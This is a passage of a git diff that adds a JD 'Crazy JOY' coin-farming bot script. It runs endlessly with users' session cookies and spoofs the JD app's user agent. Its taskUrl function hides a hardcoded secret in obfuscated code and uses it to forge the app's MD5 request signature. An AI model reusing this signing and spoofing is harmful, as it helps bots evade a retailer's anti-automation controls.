t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_crazy_joy_coin.js b/jd_crazy_joy_coin.js new file mode 100644 index 0000000..0208d61 --- /dev/null +++ b/jd_crazy_joy_coin.js @@ -0,0 +1,733 @@ +/* +crazy joy +挂机领金币/宝箱专用 +活动入口:京东APP我的-更多工具-疯狂的JOY +⚠️建议云端使用。手机端不建议使用(会一直跑下去,永不停止) +疯狂JOY挂机脚本目前会自动合成34级JOY, +合成条件如下: +当存在8个34级JOY,并且剩余金币大于等于6Q,则此条件下合并两个34级JOY +即可为后面继续合成两只新的34级JOY(按全部用30级JOY合成一只34级JOY计算需:166T * 2 * 2 * 2 * 2 = 2.6Q * 2(两只34级JOY) = 5.2Q,取6Q)时 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#crazyJoy挂机 +10 1,12 * * * jd_crazy_joy_coin.js, tag=crazyJoy挂机, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_crazy_joy.png, enabled=true + +================Loon============== +[Script] +cron "10 1,12 * * *" script-path=jd_crazy_joy_coin.js,tag=crazyJoy挂机 + +===============Surge================= +crazyJoy挂机 = type=cron,cronexp="10 1,12 * * *",wake-system=1,timeout=20,script-path=jd_crazy_joy_coin.js + +============小火箭========= +crazyJoy挂机 = type=cron,script-path=jd_crazy_joy_coin.js, cronexpr="10 1,12 * * *", timeout=200, enable=true + + */ + +const $ = new Env('crazyJoy挂机'); +const JD_API_HOST = 'https://api.m.jd.com/'; + +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let count = 0 + + if (cookiesArr.length && $.isNode()) { + console.log(`\n挂机开始,自动8s收一次金币`); + //兼容iOS + setInterval(async () => { + const promiseArr = cookiesArr.map(ck => getCoinForInterval(ck)); + await Promise.all(promiseArr); + }, 8000); + } + + while (true) { + count++ + console.log(`============开始第${count}次挂机=============`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.log(`\n京东账号${$.index} ${$.nickName || $.UserName}\ncookie已过期,请重新登录获取\n`) + continue + } + await jdCrazyJoy() + } + } + $.log(`\n\n`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCrazyJoy() { + $.coin = 0 + $.bean = 0 + + $.canBuy = true + await getJoyList() + await $.wait(1000) + if ($.joyIds && $.joyIds.length > 0) { + $.log('当前JOY分布情况') + $.log(`\n${$.joyIds[0]} ${$.joyIds[1]} ${$.joyIds[2]} ${$.joyIds[3]}`) + $.log(`${$.joyIds[4]} ${$.joyIds[5]} ${$.joyIds[6]} ${$.joyIds[7]}`) + $.log(`${$.joyIds[8]} ${$.joyIds[9]} ${$.joyIds[10]} ${$.joyIds[11]}\n`) + } + + await getJoyShop() + await $.wait(1000) + + // 如果格子全部被占有且没有可以合并的JOY,只能回收低级的JOY (且最低等级的JOY小于30级) + if(checkHasFullOccupied() && !checkCanMerge() && finMinJoyLevel() < 30) { + const minJoyId = Math.min(...$.joyIds); + const boxId = $.joyIds.indexOf(minJoyId); + console.log(`格子全部被占有且没有可以合并的JOY,回收${boxId + 1}号位等级为${minJoyId}的JOY`) + await sellJoy(minJoyId, boxId); + await $.wait(1000) + await getJoyList(); + await $.wait(1000) + } + + await hourBenefit() + await $.wait(1000) + await getCoin() + await $.wait(1000) + + for (let i = 0; i < $.joyIds.length; ++i) { + if (!$.canBuy) { + $.log(`金币不足,跳过购买`) + break + } + if ($.joyIds[i] === 0) { + await buyJoy($.buyJoyLevel) + await $.wait(1000) + await getJoyList() + await $.wait(1000) + await getCoin(); + } + } + + let obj = {}; + $.joyIds.map((vo, idx) => { + if (vo !== 0) { + if (obj[vo]) { + obj[vo].push(idx) + } else { + obj[vo] = [idx] + } + } + }) + for (let idx in obj) { + const vo = obj[idx] + if (idx < 34 && vo.length >= 2) { + $.log(`开始合并两只${idx}级joy\n`) + await mergeJoy(vo[0], vo[1]) + await $.wait(3000) + await getJoyList() + await $.wait(1000) + if ($.joyIds && $.joyIds.length > 0) { + $.log('合并后的JOY分布情况') + $.log(`\n${$.joyIds[0]} ${$.joyIds[1]} ${$.joyIds[2]} ${$.joyIds[3]}`) + $.log(`${$.joyIds[4]} ${$.joyIds[5]} ${$.joyIds[6]} ${$.joyIds[7]}`) + $.log(`${$.joyIds[8]} ${$.joyIds[9]} ${$.joyIds[10]} ${$.joyIds[11]}\n`) + } + } + if (idx === '34' && vo.length >= 8) { + if ($.coin >= 6000000000000000) { + //当存在8个34级JOY,并且剩余金币可为后面继续合成两只新的34级JOY(按全部用30级JOY合成一只34级JOY计算需:1.66T * 2 * 2 * 2 * 2 = 26.56T = 2.6Q)时,则此条件下合并两个34级JOY + $.log(`开始合并两只${idx}级joy\n`) + await mergeJoy(vo[0], vo[1]) + await $.wait(3000) + await getJoyList() + await $.wait(1000) + if ($.joyIds && $.joyIds.length > 0) { + $.log('合并后的JOY分布情况') + $.log(`\n${$.joyIds[0]} ${$.joyIds[1]} ${$.joyIds[2]} ${$.joyIds[3]}`) + $.log(`${$.joyIds[4]} ${$.joyIds[5]} ${$.joyIds[6]} ${$.joyIds[7]}`) + $.log(`${$.joyIds[8]} ${$.joyIds[9]} ${$.joyIds[10]} ${$.joyIds[11]}\n`) + } + } + } + } + await getUserBean() + await $.wait(5000) + console.log(`当前信息:${$.bean} 京豆,${$.coin} 金币`) +} +//查询格子里面是否还有空格 +function checkHasFullOccupied() { + return !$.joyIds.includes(0); +} + +// 查询是否有34级JOY +function checkHas34Level() { + return $.joyIds.includes(34); +} + +//查找格子里面有几个空格 +function findZeroNum() { + return $.joyIds.filter(i => i === 0).length +} +//查找当前 购买 joyLists 中最低等级的那一个 +function finMinJoyLevel() { + return Math.min(...$.joyIds.filter(s => s)) +} +/** + * 来源:https://elecv2.ml/#算法研究之合并类小游戏的最优购买问题 + * 获取下一个合适的购买等级。(算法二优化版) + * @param {array} joyPrices 商店 joy 价格和等级列表 + * @param {number} start 开始比较的等级。范围1~30,默认:30 + * @param {number} direction 向上比较还是向下比较。0:向下比较,1:向上比较,默认:0 + * @return {number} 返回最终适合购买的等级 + */ +function getBuyid2b(joyPrices, start = 30, direction = 0) { + if (start < 1 || start > 30) { + console.log('start 等级输入不合法') + return 1 + } + let maxL = 30 // 设置最高购买等级 + if (direction) { + // 向上比较 + for (let ind = start - 1; ind < maxL - 1; ind++) { // 商店 joy 等级和序列号相差1,需要减一下 + if (joyPrices[ind].coins * 2 < joyPrices[ind + 1].coins) return joyPrices[ind].joyId + } + return maxL + } else { + // 向下比较 + for (let ind = start - 1; ind > 0; ind--) { + if (joyPrices[ind].coins <= joyPrices[ind - 1].coins * 2) return joyPrices[ind].joyId + } + return 1 + } +} + +function buyJoyLogic() { + new Promise(async resolve => { + let zeroNum = findZeroNum(); + if (zeroNum === 0) { + console.log('格子满了') + } else if (zeroNum === 1) { + await buyJoy(finMinJoyLevel()); + } else { + let buyLevel = 1, joyPrices + console.log('joyPrices', JSON.stringify($.joyPrices)) + if (zeroNum > 2) joyPrices = $.joyPrices; + while (zeroNum--) { + await $.wait(1000) + if (zeroNum >= 2 && joyPrices && joyPrices.length) { + // buyLevel = getBuyid2b(joyPrices, joyPrices.length) // 具体参数可根据个人情况进行调整 + buyLevel = getBuyid2b(joyPrices) // 具体参数可根据个人情况进行调整 + } + if ($.joyPrices) { + //添加判断。避免在获取$.joyPrices失败时,直接买等级1 + await buyJoy(buyLevel) + } + } + } + resolve() + }) +} + +function checkCanMerge() { + let obj = {}; + let canMerge = false; + $.joyIds.forEach((vo, idx) => { + if (vo !== 0 && vo !== 34) { + if (obj[vo]) { + obj[vo].push(idx) + canMerge = true; + } else { + obj[vo] = [idx] + } + } + }); + return canMerge; +} + +function getJoyList() { + $.joyIds = [] + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_gameState'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data) + if (data.success && data.data.joyIds) { + $.joyIds = data.data.joyIds + } else + console.log(`joy信息获取信息失败`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getJoyShop() { + const body = {"paramData": {"entry": "SHOP"}} + return new Promise((resolve) => { + $.get(taskUrl('crazyJoy_joy_allowBoughtList', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data && data.data.shop) { + const shop = data.data.shop.filter(vo => vo.status === 1) || []; + $.joyPrices = shop; + $.buyJoyLevel = shop.length ? shop[shop.length - 1]['joyId'] : 1;//可购买的最大等级 + if ($.isNode() && process.env.BUY_JOY_LEVEL) { + $.log(`当前可购买的最高JOY等级为${$.buyJoyLevel}级\n`) + $.buyJoyLevel = (process.env.BUY_JOY_LEVEL * 1) > $.buyJoyLevel ? $.buyJoyLevel : process.env.BUY_JOY_LEVEL * 1; + $.cost = shop[$.buyJoyLevel - 1]['coins'] + } else { + $.cost = shop.length ? shop[shop.length - 1]['coins'] : Infinity + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function mergeJoy(x, y) { + let body = {"operateType": "MERGE", "fromBoxIndex": x, "targetBoxIndex": y} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_joy_moveOrMerge', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data.newJoyId) { + if (data.data.newJoyId > 34) { + let level = function (newJoyId) { + switch (newJoyId) { + case 1003: + return '多多JOY' + case 1004: + return '快乐JOY' + case 1005: + return '好物JOY' + case 1006: + return '省钱JOY' + case 1007: + return '东东JOY' + default: + return '未知JOY' + } + } + console.log(`合并成功,获得${level(data.data.newJoyId)}级Joy`) + if (data.data.newJoyId === 1007 && $.isNode()) await notify.sendNotify($.name, `京东账号${$.index} ${$.nickName}\n合并成功,获得${level(data.data.newJoyId)}级Joy`) + } else { + console.log(`合并成功,获得${data.data.newJoyId}级Joy`) + } + } else + console.log(`合并失败,错误`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function buyJoy(joyId) { + const body = {"action": "BUY", "joyId": joyId, "boxId": ""} + return new Promise((resolve) => { + $.get(taskUrl('crazyJoy_joy_trade', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + if (data.data.eventInfo) { + await openBox(data.data.eventInfo.eventType, data.data.eventInfo.eventRecordId) + await $.wait(1000) + $.log('金币不足') + $.canBuy = false + return + } + $.log(`购买${joyId}级joy成功,剩余金币【${data.data.totalCoins}】`) + $.coin = data.data.totalCoins + } else { + console.log(data.message) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 出售(回收)joy +function sellJoy(joyId, boxId) { + const body = {"action": "SELL", "joyId": joyId, "boxId": boxId} + return new Promise((resolve) => { + $.get(taskUrl('crazyJoy_joy_trade', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + if (data.data.eventInfo) { + await openBox(data.data.eventInfo.eventType, data.data.eventInfo.eventRecordId) + await $.wait(1000) + $.canBuy = false + return + } + $.log(`回收${joyId}级joy成功,剩余金币【${data.data.totalCoins}】`) + $.coin = data.data.totalCoins + } else { + console.log(data.message) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function hourBenefit() { + let body = {"eventType": "HOUR_BENEFIT"} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_event_obtainAward', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) + console.log(`金币补给领取成功,获得${data.data.coins}金币`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUserBean() { + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_getJdBeanInfo'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.totalBeans) + $.bean = data.data.totalBeans + else + console.log(`京豆信息获取信息失败`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getCoin() { + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_joy_produce'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.tryMoneyJoyBeans) { + console.log(`分红狗生效中,预计获得 ${data.data.tryMoneyJoyBeans} 京豆奖励`) + } + if (data.data && data.data.totalCoinAmount) { + $.coin = data.data.totalCoinAmount; + $.log(`当前金币:${$.coin}\n`) + } else { + $.coin = `获取当前金币数量失败` + } + if (data.data && data.data.luckyBoxRecordId) { + await openBox('LUCKY_BOX_DROP',data.data.luckyBoxRecordId) + await $.wait(1000) + } + if (data.data) { + $.log(`此次在线收益:获得 ${data.data['coins']} 金币`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 需传入cookie,不能使用全局的cookie +function getCoinForInterval(taskCookie) { + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_joy_produce', '', taskCookie), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // const userName = decodeURIComponent(taskCookie.match(/pt_pin=(.+?);/) && taskCookie.match(/pt_pin=(.+?);/)[1]) + // data = JSON.parse(data); + // if (data.data && data.data.tryMoneyJoyBeans) { + // console.log(`【京东账号 ${userName}】分红狗生效中,预计获得 ${data.data.tryMoneyJoyBeans} 京豆奖励`) + // } + // if (data.data) { + // $.log(`【京东账号 ${userName}】此次在线收益:获得 ${data.data['coins']} 金币`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function openBox(eventType = 'LUCKY_BOX_DROP', boxId) { + let body = { eventType, "eventRecordId": boxId} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_event_getVideoAdvert', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.log(`点击幸运盒子成功,剩余观看视频次数:${data.data.advertViewTimes}, ${data.data.advertViewTimes > 0 ? '等待32秒' : '跳出'}`) + if (data.data.advertViewTimes > 0) { + await $.wait(32000) + await rewardBox(eventType, boxId); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function rewardBox(eventType, boxId) { + let body = { eventType, "eventRecordId": boxId} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_event_obtainAward', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + $.log(`${JSON.stringify(err)}`) + $.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.log(`幸运盒子奖励领取成功,获得:${data.data.beans}京豆,${data.data.coins}金币`) + } else { + $.log(`幸运盒子奖励领取失败,错误信息:${data.message || JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getGrowState() { + let body = {"paramData":{"eventType":"GROWTH_REWARD"}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_event_getGrowthAndSceneState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + $.log(`${JSON.stringify(err)}`) + $.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success'] && data.data) { + for(let vo of data.data){ + if(vo['status']){ + console.log(`${vo['joyId']}升级奖励可以领取`) + } + } + } else { + $.log(`幸运盒子奖励领取失败,错误信息:${data.message || JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(functionId, body = '', taskCookie = cookie) { + var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb2398=["\x73\x75\x62\x73\x74\x72","\x6E\x6F\x77","","\x61\x44\x76\x53\x63\x42\x76\x24\x67\x47\x51\x76\x72\x58\x66\x76\x61\x38\x64\x47\x21\x5A\x43\x40\x44\x41\x37\x30\x59\x25\x6C\x58","\x6D\x64\x35","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let t=Date[__Oxb2398[0x1]]().toString()[__Oxb2398[0x0]](0,10);let e=body|| __Oxb2398[0x2];e= $[__Oxb2398[0x4]](__Oxb2398[0x3]+ e+ t);e= e+ Number(t).toString(16);(function(_0x8b7fx3,_0x8b7fx4,_0x8b7fx5,_0x8b7fx6,_0x8b7fx7,_0x8b7fx8){_0x8b7fx8= __Oxb2398[0x5];_0x8b7fx6= function(_0x8b7fx9){if( typeof alert!== _0x8b7fx8){alert(_0x8b7fx9)};if( typeof console!== _0x8b7fx8){console[__Oxb2398[0x6]](_0x8b7fx9)}};_0x8b7fx5= function(_0x8b7fxa,_0x8b7fx3){return _0x8b7fxa+ _0x8b7fx3};_0x8b7fx7= _0x8b7fx5(__Oxb2398[0x7],_0x8b7fx5(_0x8b7fx5(__Oxb2398[0x8],__Oxb2398[0x9]),__Oxb2398[0xa]));try{_0x8b7fx3= __encode;if(!( typeof _0x8b7fx3!== _0x8b7fx8&& _0x8b7fx3=== _0x8b7fx5(__Oxb2398[0xb],__Oxb2398[0xc]))){_0x8b7fx6(_0x8b7fx7)}}catch(e){_0x8b7fx6(_0x8b7fx7)}})({}) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': taskCookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + 